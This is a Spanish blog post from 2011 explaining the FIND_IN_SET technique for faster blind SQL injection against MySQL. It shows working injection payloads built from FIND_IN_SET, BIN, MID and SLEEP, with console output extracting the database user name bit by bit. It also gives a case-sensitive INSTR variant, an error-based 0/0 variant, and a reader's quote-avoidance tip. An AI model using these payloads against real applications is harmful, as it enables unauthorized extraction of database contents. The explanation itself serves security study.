domingo, 3 de abril de 2011

FIND_IN_SET: Optimized Blind MySQL Injection Data Retrieval

Hoy, leyendo el blog de "Security By Default" me enteré de otra optimización para extracción de datos explotando inyecciones SQL a ciegas en MySQL. Digo otra por que, como recordarán, hace poco hablamos sobre el Bit Shifting, una técnica que tiene el mismo propósito.

La técnica se denomina "FIND_IN_SET". El artículo, en la web de su autor, lo pueden encontrar aquí.

Así que en este post explicaré lo que he entendido de esta nueva técnica que considero aporta una mejora muy significativa en eficiencia.

FIND_IN_SET, es en realidad una función de MySQL que devuelve la posición de un caracter dentro de un conjunto. Por ejemplo:

mysql> SELECT FIND_IN_SET('e', 'a,e,i,o,u');
+-------------------------------+
| FIND_IN_SET('e', 'a,e,i,o,u') |
+-------------------------------+
|                             2 |
+-------------------------------+
1 row in set (0.00 sec)

En el ejemplo, la respuesta es 2 ya que el caracter "e" es el segundo del conjunto "a,e,i,o,u".

De lo que trata esta técnica entonces es de definir un conjunto arbitrario con los posibles caracteres que pueden conformar la cadena que queremos deducir. Luego segmentamos, como siempre se hace, la cadena es sus caracteres individuales y vamos obteniendo la posición de esos caracteres dentro de nuestro conjunto con FIND_IN_SET(). El siguiente paso es obtener la representación como cadena binaria de cada posición. Esto se puede lograr con la función BIN(). Finalmente segmentamos la cadena binaria en caracteres individuales, estos únicamente pueden ser '0' ó '1', que representarán el falso o verdadero de la respuesta respectivamente. De esta forma podemos deducir la cadena binaria de la posición y en consecuencia el caracter.

Fig. 1 - Técnica FIND_IN_SET.

Ahora ¿Porqué esta técnica es más eficiente? La respuesta está en que el número de consultas para deducir una secuencia binaria es igual a la cantidad de bits de dicha secuencia. Como ya sabemos, un caracter necesita de 8 bits para ser representado, es decir, se necesitan 8 consultas para deducir un caracter. Por otra parte una posición, o sea un valor numérico, se puede representar con menor cantidad de bits y en consecuencia se necesitaran menos consultas. Veamos:

#BITS   DECIMAL    BINARIO
1       0 - 1      0 - 1
2       2 - 3      10 - 11
3       4 - 7      100 - 111
4       8 - 15     1000 - 1111
5       16 - 31    10000 - 11111
6       32 - 63    100000 - 111111
7       64 - 127   1000000 - 1111111

Así para lograr obtener la cadena binaria que representa la posición harán falta tantas consultas como bits contenga dicha cadena.

Quizá ahora te estés preguntado - si no conocemos la posición entonces no sabemos cuantos bits tiene ¿Cómo sabemos cuantas consultas hacer? - Es sencillo, no podemos saberlo. Así que debemos continuar haciendo consultas hasta que al pedir el siguiente caracter de la cadena binaria nos arroje una cadena vacía (''). Esa será la condición que indique el final de las consultas y debemos manifestarla de alguna manera. El autor propone dos formas: generando un error o añadiendo un delay (retardo en la respuesta). Ahora bien este mecanismo necesita de esa consulta adicional, la que nos indica cuando hemos terminado. Por ello el total de consultas que haremos será uno más que el número de bits de la posición.

Dicho todo esto, pasemos a ver un ejemplo de esta técnica.

SELECT ((SELECT @a:=MID(BIN(FIND_IN_SET(MID(USER(),1,1),
'a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1
,2,3,4,5,6,7,8,9,_,!,@,#,$,%,^,&,*,(,),-,+,=,\,,.,",\',~
,`,\\,|,{,},[,],:,;, ,')),1,1))=@a AND IF(@a!='',@a,SLEEP(4)));

En el ejemplo se obtiene el nombre del usuario de MySQL con USER(), luego se toma el primer caracter del nombre con MID(), se calcula la posición de ese caracter en el conjunto con FIND_IN_SET(), se obtiene la representación como cadena binaria de esa posición con BIN(), se toma el primer caracter de la cadena binaria, nuevamente con MID(), y se lo asigna a una variable "@a". Todo lo anterior dentro de un SELECT que solo sirve para inicializar esa variable @a. El resultado de ese SELECT se lo compara con @a, hay que notar que esto siempre dará verdadero, es como comparar "@a=@a". Se hace esto porque la inyeccion es dentro de la clausula WHERE y por eso se le debe dar forma de condición. A la anterior condición se le hace una conjunción con el resultado de la función IF() posterior que verifica que @a no sea una cadena vacía. Si dicha condición se cumple el resultado será @a (que es 0 ó 1, es decir falso o verdadero) y si no ejecutará un delay de 4 segundos.

Bastante complicada la explicación, ahora veamos como funciona:

mysql> SELECT ((SELECT @a:=MID(BIN(FIND_IN_SET(MID(USER(),1,1), 'a,b,
c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,_
,!,@,#,$,%,^,&,*,(,),-,+,=,\,,.,",\',~,`,\\,|,{,},[,],:,;, ,')),1,1))
=@a AND IF(@a!='',@a,SLEEP(4)));
+-----------+
| RESULTADO |
+-----------+
|         1 |
+-----------+
1 row in set (0.00 sec)

mysql> SELECT ((SELECT @a:=MID(BIN(FIND_IN_SET(MID(USER(),1,1), 'a,b,
c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,_
,!,@,#,$,%,^,&,*,(,),-,+,=,\,,.,",\',~,`,\\,|,{,},[,],:,;, ,')),2,1))
=@a AND IF(@a!='',@a,SLEEP(4)));
+-----------+
| RESULTADO |
+-----------+
|         0 |
+-----------+
1 row in set (0.00 sec)

mysql> SELECT ((SELECT @a:=MID(BIN(FIND_IN_SET(MID(USER(),1,1), 'a,b,
c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,_
,!,@,#,$,%,^,&,*,(,),-,+,=,\,,.,",\',~,`,\\,|,{,},[,],:,;, ,')),3,1))
=@a AND IF(@a!='',@a,SLEEP(4)));
+-----------+
| RESULTADO |
+-----------+
|         0 |
+-----------+
1 row in set (0.00 sec)

mysql> SELECT ((SELECT @a:=MID(BIN(FIND_IN_SET(MID(USER(),1,1), 'a,b,
c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,_
,!,@,#,$,%,^,&,*,(,),-,+,=,\,,.,",\',~,`,\\,|,{,},[,],:,;, ,')),4,1))
=@a AND IF(@a!='',@a,SLEEP(4)));
+-----------+
| RESULTADO |
+-----------+
|         1 |
+-----------+
1 row in set (0.00 sec)

mysql> SELECT ((SELECT @a:=MID(BIN(FIND_IN_SET(MID(USER(),1,1), 'a,b,
c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,_
,!,@,#,$,%,^,&,*,(,),-,+,=,\,,.,",\',~,`,\\,|,{,},[,],:,;, ,')),5,1))
=@a AND IF(@a!='',@a,SLEEP(4)));
+-----------+
| RESULTADO |
+-----------+
|         0 |
+-----------+
1 row in set (0.00 sec)

mysql> SELECT ((SELECT @a:=MID(BIN(FIND_IN_SET(MID(USER(),1,1), 'a,b,
c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,_
,!,@,#,$,%,^,&,*,(,),-,+,=,\,,.,",\',~,`,\\,|,{,},[,],:,;, ,')),6,1))
=@a AND IF(@a!='',@a,SLEEP(4)));
+-----------+
| RESULTADO |
+-----------+
|          0|
+-----------+
1 row in set (4.00 sec)

El resultado fue "10010" que corresponde con la décimo octava posición. El último 0 no se considera por que corresponde con la consulta que produjo el retardo de 4 segundos. Si vemos en nuestro conjunto, el carácter "r" es el que ocupa la posición 18 y es la primera letra del nombre del usuario (root@localhost). Usando esta técnica hemos logrado deducir un caracter con tan solo 6 consultas, algo más eficiente que el Binary Search y el Bit Shifting que requieren de 8 consultas.

Fig. 2 - Comparación de eficiencia.

Algunos inconvenientes

Hay un problema al usar la función FIND_IN_SET() y es que no es sensible a mayúsculas. Por ello, si en el conjunto hubiera una 'a' en la primera posición y una 'A' en la vigésimo séptima, cada vez que le consultemos por 'a' o 'A' nos devolverá la primera coincidencia, en este caso 1. Debido a esta característica tendremos una perdida de precisión muy importante cuando la información que se necesita extraer son nombres de estructuras o contraseñas.

Otro inconveniente es que si consideramos un conjunto de caracteres lo suficientemente vasto a partir de la posición 64 hasta la 127 no aporta ninguna mejora y desde la 128 hasta la 255 necesitará de 9 consultas, es decir, más ineficiente que los métodos anteriores. Si consideramos como conjunto el ASCII extendido se podría decir que solo aporta eficiencia para una cuarta parte de los casos.

Por ultimo el hecho de incluir un retardo para distinguir el final de las consultas le resta eficiencia a este método, a fin de cuentas, lo que se pretende es ahorrar tiempo.

Algunas soluciones

Para arreglar lo del "case sensitive" se me ocurrió usar la función INSTR() que devuelve la posición de la primera coincidencia de una cadena dentro de otra. Esta función es sensible a mayúsculas solo cuando uno de sus parámetros es una cadena del tipo BINARY. Por ejemplo:

mysql> SELECT INSTR('aA', CAST('a' AS BINARY));
+----------------------------------+
| INSTR('aA', CAST('a' AS BINARY)) |
+----------------------------------+
|                                1 |
+----------------------------------+
1 row in set (0.00 sec)

mysql> SELECT INSTR('aA', CAST('A' AS BINARY));
+----------------------------------+
| INSTR('aA', CAST('A' AS BINARY)) |
+----------------------------------+
|                                2 |
+----------------------------------+
1 row in set (0.00 sec)

En el ejemplo se muestra como la función INSTR() puede diferenciar entre la posición de 'a' y la de 'A'. Además se muestra como usar CAST() para cambiar el tipo de la cadena a BINARY.

Usando la función INSTR() la consulta quedaría de esta forma:

SELECT ((SELECT @a:=MID(BIN(INSTR('abcdefghijklmnopqrstuvwxyz
ABCDEFGHJIKLMNOPQRSTUVWXYZ',CAST(MID(USER(),1,1) as BINARY)))
,1,1))=@a AND IF(@a!='',@a,SLEEP(4)));

Para sobrellevar el segundo problema hay algunas optimizaciones que se pueden implementar:

  • Reducir tanto como se pueda el conjunto. Por ejemplo quitando los caracteres no imprimibles y los símbolos extraños del ASCII extendido. Nos quedaríamos aproximadamente con la mitad.
  • Ordenar los caracteres del conjunto en función a su frecuencia en un determinado idioma. Los más frecuentes primero y los menos frecuentes al final.
  • Una observación interesante es que la primera consulta siempre arrojará 1 salvo que el carácter buscado no se encuentre en el conjunto. Sabiendo esto podemos evitar la primera consulta y empezar por la segunda. Si la segunda consulta ejecuta el delay recién haríamos la primera, en caso contrario podemos inferir que el resultado de la primera fue 1. Ahorraríamos una consulta.

Para el tercer problema el autor de esta técnica propone un caso donde se podría resolver. Se trata de cuando se muestran páginas diferentes de acuerdo a un parámetro (/page.php?id=0, /page.php?id=1) En ese caso podemos usar 3 páginas diferentes para representar el 0, el 1 y el final de las consultas.

La inyección, para ese caso, pude tomar esta forma:

IF(@a:=MID(BIN(FIND_IN_SET(MID(USER(),1,1), 'a,b,c,d,e,f,g,h,i,j,k,l,m,
n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,_,!,@,#,$,%,^,&,*,(,),-,+
,=,\,,.,",\',~,`,\\,|,{,},[,],:,;, ,')),1,1)=1||0,@a,0/0);


Es todo por hoy. Hasta pronto, saludos...

1 comentario:

  1. Muy buena explicacion. Otra idea seria usar errores envez del sleep() o 2 paginas, si la pagina lo permite. Tambien se puede usar CHAR(0,1,2,3,4,5,6,...) para no tener que usar ' " y asi poder incluir todo el extended ascii si no quieres usar %url encoding.

    ResponderEliminar